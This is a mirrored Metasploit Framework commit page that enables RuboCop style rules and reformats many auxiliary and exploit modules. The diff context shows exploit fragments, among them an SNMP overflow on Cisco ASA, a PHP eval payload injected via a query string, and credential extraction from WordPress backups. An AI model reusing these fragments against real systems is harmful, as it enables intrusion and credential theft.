mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Enforce Style/RedundantBegin for new modules
This commit is contained in:
parent
3312494a01
commit
100da2f1b1
16
.rubocop.yml
16
.rubocop.yml
@ -359,8 +359,7 @@ Layout/EmptyLinesAroundClassBody:
|
|||||||
Description: 'these are used to increase readability'
|
Description: 'these are used to increase readability'
|
||||||
|
|
||||||
Layout/EmptyLinesAroundMethodBody:
|
Layout/EmptyLinesAroundMethodBody:
|
||||||
Enabled: false
|
Enabled: true
|
||||||
Description: 'these are used to increase readability'
|
|
||||||
|
|
||||||
Layout/ExtraSpacingWithBinDataIgnored:
|
Layout/ExtraSpacingWithBinDataIgnored:
|
||||||
Description: 'Do not use unnecessary spacing.'
|
Description: 'Do not use unnecessary spacing.'
|
||||||
@ -405,18 +404,7 @@ Style/PercentLiteralDelimiters:
|
|||||||
VersionChanged: '0.48.1'
|
VersionChanged: '0.48.1'
|
||||||
|
|
||||||
Style/RedundantBegin:
|
Style/RedundantBegin:
|
||||||
Exclude:
|
Enabled: true
|
||||||
# this pattern is very common and somewhat unavoidable
|
|
||||||
# def run_host(ip)
|
|
||||||
# begin
|
|
||||||
# ...
|
|
||||||
# rescue ...
|
|
||||||
# ...
|
|
||||||
# ensure
|
|
||||||
# disconnect
|
|
||||||
# end
|
|
||||||
# end
|
|
||||||
- 'modules/**/*'
|
|
||||||
|
|
||||||
Style/SafeNavigation:
|
Style/SafeNavigation:
|
||||||
Description: >-
|
Description: >-
|
||||||
|
@ -146,7 +146,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
def make_forward_request_package(method, headers, attributes)
|
def make_forward_request_package(method, headers, attributes)
|
||||||
|
|
||||||
prefix_code_int = 2
|
prefix_code_int = 2
|
||||||
prefix_code_bytes = int2byte(prefix_code_int)
|
prefix_code_bytes = int2byte(prefix_code_int)
|
||||||
method_bytes = int2byte(method2code(method))
|
method_bytes = int2byte(method2code(method))
|
||||||
|
@ -170,38 +170,36 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
begin
|
vers_string = retrieve_asa_version
|
||||||
vers_string = retrieve_asa_version
|
|
||||||
|
|
||||||
print_status("Building #{action.name} payload for version #{vers_string}...")
|
print_status("Building #{action.name} payload for version #{vers_string}...")
|
||||||
overflow = build_payload(vers_string, action.name)
|
overflow = build_payload(vers_string, action.name)
|
||||||
payload = SNMP::ObjectId.new(overflow)
|
payload = SNMP::ObjectId.new(overflow)
|
||||||
|
|
||||||
print_status('Sending SNMP payload...')
|
print_status('Sending SNMP payload...')
|
||||||
response = snmp.get_bulk(0, 1, [SNMP::VarBind.new(payload)])
|
response = snmp.get_bulk(0, 1, [SNMP::VarBind.new(payload)])
|
||||||
|
|
||||||
if response.varbind_list
|
if response.varbind_list
|
||||||
print_good('Clean return detected!')
|
print_good('Clean return detected!')
|
||||||
if action.name == 'PASS_DISABLE'
|
if action.name == 'PASS_DISABLE'
|
||||||
print_warning("Don't forget to run PASS_ENABLE after logging in!")
|
print_warning("Don't forget to run PASS_ENABLE after logging in!")
|
||||||
print_warning(' set ACTION PASS_ENABLE')
|
print_warning(' set ACTION PASS_ENABLE')
|
||||||
end
|
|
||||||
end
|
end
|
||||||
rescue ::Rex::ConnectionError
|
|
||||||
print_error('Connection Error: Is the target up?')
|
|
||||||
rescue ::SNMP::RequestTimeout
|
|
||||||
print_error('SNMP Error: Request Timeout, Cisco ASA may have crashed :/')
|
|
||||||
rescue ::SNMP::UnsupportedVersion
|
|
||||||
print_error('SNMP Error: Version 2c is not supported by target.')
|
|
||||||
rescue ::NoMethodError
|
|
||||||
print_error("Error: No payload available for version #{vers_string}")
|
|
||||||
rescue ::Interrupt
|
|
||||||
raise $ERROR_INFO
|
|
||||||
rescue ::StandardError => e
|
|
||||||
print_error("Error: #{e.class} #{e} #{e.backtrace}")
|
|
||||||
ensure
|
|
||||||
disconnect_snmp
|
|
||||||
end
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
print_error('Connection Error: Is the target up?')
|
||||||
|
rescue ::SNMP::RequestTimeout
|
||||||
|
print_error('SNMP Error: Request Timeout, Cisco ASA may have crashed :/')
|
||||||
|
rescue ::SNMP::UnsupportedVersion
|
||||||
|
print_error('SNMP Error: Version 2c is not supported by target.')
|
||||||
|
rescue ::NoMethodError
|
||||||
|
print_error("Error: No payload available for version #{vers_string}")
|
||||||
|
rescue ::Interrupt
|
||||||
|
raise $ERROR_INFO
|
||||||
|
rescue ::StandardError => e
|
||||||
|
print_error("Error: #{e.class} #{e} #{e.backtrace}")
|
||||||
|
ensure
|
||||||
|
disconnect_snmp
|
||||||
end
|
end
|
||||||
|
|
||||||
def retrieve_asa_version
|
def retrieve_asa_version
|
||||||
|
@ -26,7 +26,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
Opt::RPORT(22)
|
Opt::RPORT(22)
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
@ -34,7 +34,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
Opt::RPORT(22)
|
Opt::RPORT(22)
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
@ -32,7 +32,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
Opt::RPORT(22)
|
Opt::RPORT(22)
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
@ -32,7 +32,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
Opt::RPORT(22)
|
Opt::RPORT(22)
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def i_file
|
def i_file
|
||||||
|
@ -215,7 +215,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
|
|
||||||
# Set up variables
|
# Set up variables
|
||||||
os_release = ''
|
os_release = ''
|
||||||
os_release_file = '/etc/os-release'
|
os_release_file = '/etc/os-release'
|
||||||
@ -294,7 +293,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
def action_file_read
|
def action_file_read
|
||||||
|
|
||||||
# Set up XML data for HTTP request
|
# Set up XML data for HTTP request
|
||||||
setup_xml_and_variables
|
setup_xml_and_variables
|
||||||
make_post_data(@file, dos: false)
|
make_post_data(@file, dos: false)
|
||||||
@ -349,7 +347,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
def action_dos
|
def action_dos
|
||||||
|
|
||||||
# Set up XML data for HTTP request
|
# Set up XML data for HTTP request
|
||||||
setup_xml_and_variables
|
setup_xml_and_variables
|
||||||
make_post_data(@file, dos: true)
|
make_post_data(@file, dos: true)
|
||||||
@ -389,7 +386,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
|
|
||||||
# Check HTTP response
|
# Check HTTP response
|
||||||
fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200
|
fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -75,24 +75,22 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
print_status('Opened connection')
|
print_status('Opened connection')
|
||||||
|
|
||||||
EM::Timer.new(1) do
|
EM::Timer.new(1) do
|
||||||
begin
|
print_status('Sending payload')
|
||||||
print_status('Sending payload')
|
payload = Rex::Text.rand_text_alphanumeric(7000..8000)
|
||||||
payload = Rex::Text.rand_text_alphanumeric(7000..8000)
|
driver.send({
|
||||||
driver.send({
|
jsonrpc: '2.0',
|
||||||
jsonrpc: '2.0',
|
method: 'Frontend::GetFrontendSpectrumData',
|
||||||
method: 'Frontend::GetFrontendSpectrumData',
|
params: {
|
||||||
params: {
|
coreID: 0,
|
||||||
coreID: 0,
|
fStartHz: payload,
|
||||||
fStartHz: payload,
|
fStopHz: 1000000000,
|
||||||
fStopHz: 1000000000,
|
fftSize: 1024,
|
||||||
fftSize: 1024,
|
gain: 1
|
||||||
gain: 1
|
},
|
||||||
},
|
id: '0'
|
||||||
id: '0'
|
}.to_json)
|
||||||
}.to_json)
|
rescue StandardError
|
||||||
rescue StandardError
|
fail_with(Failure::Unreachable, 'Could not establish websocket connection')
|
||||||
fail_with(Failure::Unreachable, 'Could not establish websocket connection')
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -229,7 +229,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
print_good("#{peer} Saved LDAP data to #{ldif_filename}")
|
print_good("#{peer} Saved LDAP data to #{ldif_filename}")
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def decode_pwdhistory(hash)
|
def decode_pwdhistory(hash)
|
||||||
|
@ -68,39 +68,37 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
|
|
||||||
# Connect to Redis and ensure compatibility.
|
# Connect to Redis and ensure compatibility.
|
||||||
def redis_connect
|
def redis_connect
|
||||||
begin
|
connect
|
||||||
connect
|
# NOTE: Full INFO payload fails occasionally. Using server filter until Redis library can be fixed
|
||||||
# NOTE: Full INFO payload fails occasionally. Using server filter until Redis library can be fixed
|
if (info_data = redis_command('INFO', 'server')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
|
||||||
if (info_data = redis_command('INFO', 'server')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
|
print_good("Connected to Redis version #{redis_version}")
|
||||||
print_good("Connected to Redis version #{redis_version}")
|
end
|
||||||
end
|
|
||||||
|
|
||||||
# Some connection attempts such as incorrect password set fail silently in the Redis library.
|
# Some connection attempts such as incorrect password set fail silently in the Redis library.
|
||||||
if !info_data
|
if !info_data
|
||||||
print_error('Unable to connect to Redis')
|
print_error('Unable to connect to Redis')
|
||||||
print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE']
|
print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE']
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# Ensure version compatability
|
|
||||||
if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION))
|
|
||||||
print_status("Module supports Redis #{MIN_REDIS_VERSION} or higher.")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# Connection was sucessful
|
|
||||||
return info_data
|
|
||||||
rescue Msf::Auxiliary::Failed => e
|
|
||||||
# This error trips when auth is required but password not set
|
|
||||||
print_error('Unable to connect to Redis: ' + e.message)
|
|
||||||
return
|
|
||||||
rescue Rex::ConnectionTimeout
|
|
||||||
print_error('Timed out trying to connect to Redis')
|
|
||||||
return
|
|
||||||
rescue StandardError
|
|
||||||
print_error('Unknown error trying to connect to Redis')
|
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Ensure version compatability
|
||||||
|
if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION))
|
||||||
|
print_status("Module supports Redis #{MIN_REDIS_VERSION} or higher.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Connection was sucessful
|
||||||
|
return info_data
|
||||||
|
rescue Msf::Auxiliary::Failed => e
|
||||||
|
# This error trips when auth is required but password not set
|
||||||
|
print_error('Unable to connect to Redis: ' + e.message)
|
||||||
|
return
|
||||||
|
rescue Rex::ConnectionTimeout
|
||||||
|
print_error('Timed out trying to connect to Redis')
|
||||||
|
return
|
||||||
|
rescue StandardError
|
||||||
|
print_error('Unknown error trying to connect to Redis')
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_host(_ip)
|
def check_host(_ip)
|
||||||
|
@ -79,7 +79,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
return 'unsupported'
|
return 'unsupported'
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def rce_check(version, real_target: false)
|
def rce_check(version, real_target: false)
|
||||||
|
@ -108,48 +108,45 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
def do_enum(username)
|
def do_enum(username)
|
||||||
begin
|
vprint_status("Attempting #{username}")
|
||||||
vprint_status("Attempting #{username}")
|
res = send_request_cgi({
|
||||||
res = send_request_cgi({
|
'uri' => normalize_uri(target_uri.path, 'webman', 'forget_passwd.cgi'),
|
||||||
'uri' => normalize_uri(target_uri.path, 'webman', 'forget_passwd.cgi'),
|
'method' => 'GET',
|
||||||
'method' => 'GET',
|
'vars_get' => {
|
||||||
'vars_get' => {
|
'user' => username
|
||||||
'user' => username
|
}
|
||||||
}
|
})
|
||||||
})
|
unless res
|
||||||
unless res
|
|
||||||
print_error('Connection to host refused')
|
|
||||||
fail_with(Failure::Unreachable, 'Connection to host refused')
|
|
||||||
end
|
|
||||||
j = res.get_json_document
|
|
||||||
if j['msg'] == 5
|
|
||||||
fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')
|
|
||||||
end
|
|
||||||
if j['msg'] == 3
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
|
|
||||||
end
|
|
||||||
if j['msg'] == 2 || j['msg'] == 1
|
|
||||||
print_good("#{username} - #{j['info']}")
|
|
||||||
@users_found[username] = :reported
|
|
||||||
report_cred(
|
|
||||||
ip: rhost,
|
|
||||||
port: rport,
|
|
||||||
service_name: (ssl ? 'https' : 'http'),
|
|
||||||
proof: res.body
|
|
||||||
)
|
|
||||||
end
|
|
||||||
# msg 1 means user can login to GUI
|
|
||||||
# msg 2 means user exists but no GUI login
|
|
||||||
# msg 3 means not supported/disabled/patched
|
|
||||||
# msg 4 means no user
|
|
||||||
# msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
|
|
||||||
# count as lgin attempts.
|
|
||||||
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
|
|
||||||
print_error('Connection to host refused')
|
print_error('Connection to host refused')
|
||||||
fail_with(Failure::Unreachable, 'Connection to host refused')
|
fail_with(Failure::Unreachable, 'Connection to host refused')
|
||||||
rescue Timeout::Error, Errno::EPIPE
|
|
||||||
fail_with(Failure::Unreachable, 'Connection issue')
|
|
||||||
end
|
end
|
||||||
|
j = res.get_json_document
|
||||||
|
if j['msg'] == 5
|
||||||
|
fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')
|
||||||
|
end
|
||||||
|
if j['msg'] == 3
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
|
||||||
|
end
|
||||||
|
if j['msg'] == 2 || j['msg'] == 1
|
||||||
|
print_good("#{username} - #{j['info']}")
|
||||||
|
@users_found[username] = :reported
|
||||||
|
report_cred(
|
||||||
|
ip: rhost,
|
||||||
|
port: rport,
|
||||||
|
service_name: (ssl ? 'https' : 'http'),
|
||||||
|
proof: res.body
|
||||||
|
)
|
||||||
|
end
|
||||||
|
# msg 1 means user can login to GUI
|
||||||
|
# msg 2 means user exists but no GUI login
|
||||||
|
# msg 3 means not supported/disabled/patched
|
||||||
|
# msg 4 means no user
|
||||||
|
# msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
|
||||||
|
# count as lgin attempts.
|
||||||
|
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
|
||||||
|
print_error('Connection to host refused')
|
||||||
|
fail_with(Failure::Unreachable, 'Connection to host refused')
|
||||||
|
rescue Timeout::Error, Errno::EPIPE
|
||||||
|
fail_with(Failure::Unreachable, 'Connection issue')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -125,47 +125,46 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
path.split('/').last
|
path.split('/').last
|
||||||
)
|
)
|
||||||
print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")
|
print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")
|
||||||
begin
|
|
||||||
Zip::File.open(path) do |zip_file|
|
|
||||||
# Handle entries one by one
|
|
||||||
zip_file.each do |entry|
|
|
||||||
# Extract to file
|
|
||||||
next unless entry.name.ends_with?('.sql')
|
|
||||||
|
|
||||||
print_status("#{ip} - Attempting to pull creds from #{entry}")
|
Zip::File.open(path) do |zip_file|
|
||||||
f = entry.get_input_stream.read
|
# Handle entries one by one
|
||||||
f.split("\n").each do |l|
|
zip_file.each do |entry|
|
||||||
next unless l.include?('INSERT INTO `wp_users` VALUES ')
|
# Extract to file
|
||||||
|
next unless entry.name.ends_with?('.sql')
|
||||||
|
|
||||||
columns = ['user_login', 'user_pass']
|
print_status("#{ip} - Attempting to pull creds from #{entry}")
|
||||||
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
|
f = entry.get_input_stream.read
|
||||||
l.split('),(').each do |user|
|
f.split("\n").each do |l|
|
||||||
user = user.split(',')
|
next unless l.include?('INSERT INTO `wp_users` VALUES ')
|
||||||
username = user[1].strip
|
|
||||||
username = username.start_with?("'") ? username.gsub("'", '') : username
|
columns = ['user_login', 'user_pass']
|
||||||
hash = user[2].strip
|
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
|
||||||
hash = hash.start_with?("'") ? hash.gsub("'", '') : hash
|
l.split('),(').each do |user|
|
||||||
create_credential({
|
user = user.split(',')
|
||||||
workspace_id: myworkspace_id,
|
username = user[1].strip
|
||||||
origin_type: :service,
|
username = username.start_with?("'") ? username.gsub("'", '') : username
|
||||||
module_fullname: fullname,
|
hash = user[2].strip
|
||||||
username: username,
|
hash = hash.start_with?("'") ? hash.gsub("'", '') : hash
|
||||||
private_type: :nonreplayable_hash,
|
create_credential({
|
||||||
jtr_format: identify_hash(hash),
|
workspace_id: myworkspace_id,
|
||||||
private_data: hash,
|
origin_type: :service,
|
||||||
service_name: 'Wordpress',
|
module_fullname: fullname,
|
||||||
address: ip,
|
username: username,
|
||||||
port: datastore['RPORT'],
|
private_type: :nonreplayable_hash,
|
||||||
protocol: 'tcp',
|
jtr_format: identify_hash(hash),
|
||||||
status: Metasploit::Model::Login::Status::UNTRIED
|
private_data: hash,
|
||||||
})
|
service_name: 'Wordpress',
|
||||||
table << [username, hash]
|
address: ip,
|
||||||
end
|
port: datastore['RPORT'],
|
||||||
print_good(table.to_s)
|
protocol: 'tcp',
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED
|
||||||
|
})
|
||||||
|
table << [username, hash]
|
||||||
end
|
end
|
||||||
|
print_good(table.to_s)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
print_status("#{ip} - finished processing backup zip")
|
|
||||||
end
|
end
|
||||||
|
print_status("#{ip} - finished processing backup zip")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -178,10 +178,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
end
|
end
|
||||||
|
|
||||||
def cleanup
|
def cleanup
|
||||||
begin
|
disconnect
|
||||||
disconnect
|
rescue StandardError
|
||||||
rescue StandardError
|
nil
|
||||||
nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -59,20 +59,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
def firmware
|
def firmware
|
||||||
begin
|
res = send_request_cgi(
|
||||||
res = send_request_cgi(
|
'method' => 'GET',
|
||||||
'method' => 'GET',
|
'uri' => '/brand.xml'
|
||||||
'uri' => '/brand.xml'
|
)
|
||||||
)
|
unless res
|
||||||
unless res
|
vprint_error 'Connection failed'
|
||||||
vprint_error 'Connection failed'
|
return CheckCode::Unknown
|
||||||
return CheckCode::Unknown
|
|
||||||
end
|
|
||||||
|
|
||||||
res_xml = res.get_xml_document
|
|
||||||
@version = res_xml.at('//firmware').text
|
|
||||||
return true
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
res_xml = res.get_xml_document
|
||||||
|
@version = res_xml.at('//firmware').text
|
||||||
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
|
@ -94,11 +94,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
|
|
||||||
@cookie = res.get_cookies
|
@cookie = res.get_cookies
|
||||||
@admin_nonce = res.get_hidden_inputs.first['admin-nonce']
|
@admin_nonce = res.get_hidden_inputs.first['admin-nonce']
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
capture_cookie_token
|
capture_cookie_token
|
||||||
|
|
||||||
@task_name = Rex::Text.rand_text_alpha_lower(5)
|
@task_name = Rex::Text.rand_text_alpha_lower(5)
|
||||||
@ -131,7 +129,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
if res && res.code == 200 && res.body.include?('Successfully saved')
|
if res && res.code == 200 && res.body.include?('Successfully saved')
|
||||||
print_good "Scheduler successfully created ! Wait up to #{wfs_delay} seconds"
|
print_good "Scheduler successfully created ! Wait up to #{wfs_delay} seconds"
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_new_session(_session)
|
def on_new_session(_session)
|
||||||
@ -154,7 +151,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
if res && res.code == 200 && res.body.include?('Successfully saved')
|
if res && res.code == 200 && res.body.include?('Successfully saved')
|
||||||
print_good 'The scheduler config successfully cleaned up!'
|
print_good 'The scheduler config successfully cleaned up!'
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -132,7 +132,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
when :php_dropper
|
when :php_dropper
|
||||||
dropper
|
dropper
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def dropper
|
def dropper
|
||||||
|
@ -196,6 +196,5 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -194,7 +194,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
unless check == CheckCode::Vulnerable
|
unless check == CheckCode::Vulnerable
|
||||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||||
end
|
end
|
||||||
|
@ -74,28 +74,26 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
begin
|
vprint_status('Sending exploit code')
|
||||||
vprint_status('Sending exploit code')
|
res = send_request_cgi(
|
||||||
res = send_request_cgi(
|
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
|
||||||
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
|
'method' => 'GET',
|
||||||
'method' => 'GET',
|
'encode_params' => false,
|
||||||
'encode_params' => false,
|
'vars_get' =>
|
||||||
'vars_get' =>
|
{
|
||||||
{
|
'path' => 'x',
|
||||||
'path' => 'x',
|
'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
|
||||||
'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
|
}
|
||||||
}
|
)
|
||||||
)
|
|
||||||
|
|
||||||
if res.nil?
|
if res.nil?
|
||||||
print_good('Request timed out, OK if running a non-forking/blocking payload...')
|
print_good('Request timed out, OK if running a non-forking/blocking payload...')
|
||||||
elsif res.code == 302
|
elsif res.code == 302
|
||||||
fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
|
fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
|
||||||
else
|
else
|
||||||
print_warning("Unexpected response code #{res.code}, please check your payload.")
|
print_warning("Unexpected response code #{res.code}, please check your payload.")
|
||||||
end
|
|
||||||
rescue ::Rex::ConnectionError
|
|
||||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
||||||
end
|
end
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -134,7 +134,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
else
|
else
|
||||||
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")
|
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def start_backup_and_trigger_payload
|
def start_backup_and_trigger_payload
|
||||||
|
@ -65,7 +65,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||||||
register_advanced_options [
|
register_advanced_options [
|
||||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||||
]
|
]
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Simplify pulling the writable directory variable
|
# Simplify pulling the writable directory variable
|
||||||
|
@ -48,7 +48,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
|
|
||||||
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||||
print_status("[*] #{request.body}")
|
print_status("[*] #{request.body}")
|
||||||
send_response(cli, '')
|
send_response(cli, '')
|
||||||
|
@ -74,7 +74,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
|
|
||||||
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||||
print_status("[*] #{request.body}")
|
print_status("[*] #{request.body}")
|
||||||
send_response(cli, '')
|
send_response(cli, '')
|
||||||
|
@ -522,15 +522,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
fail_with(Failure::UnexpectedReply, e.message)
|
fail_with(Failure::UnexpectedReply, e.message)
|
||||||
ensure
|
ensure
|
||||||
[project_a, project_b].each do |project|
|
[project_a, project_b].each do |project|
|
||||||
begin
|
next unless project
|
||||||
next unless project
|
|
||||||
|
|
||||||
print_status("Attempting to delete project #{project['path']}")
|
print_status("Attempting to delete project #{project['path']}")
|
||||||
git_lab_client.delete_project(project: project)
|
git_lab_client.delete_project(project: project)
|
||||||
print_status("Deleted project #{project['path']}")
|
print_status("Deleted project #{project['path']}")
|
||||||
rescue StandardError
|
rescue StandardError
|
||||||
print_error("Failed to delete project #{project['path']}")
|
print_error("Failed to delete project #{project['path']}")
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -470,7 +470,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
end
|
end
|
||||||
|
|
||||||
def execute_java(opts = {})
|
def execute_java(opts = {})
|
||||||
|
|
||||||
template =
|
template =
|
||||||
%q{
|
%q{
|
||||||
#set($_="")
|
#set($_="")
|
||||||
|
@ -398,7 +398,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
|
|
||||||
# Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled")
|
# Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled")
|
||||||
def get_hv_type
|
def get_hv_type
|
||||||
|
|
||||||
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.")
|
print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.")
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
|
@ -88,7 +88,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||||||
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
|
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
|
||||||
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
|
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
|
||||||
])
|
])
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_payload(command)
|
def cmd_payload(command)
|
||||||
|
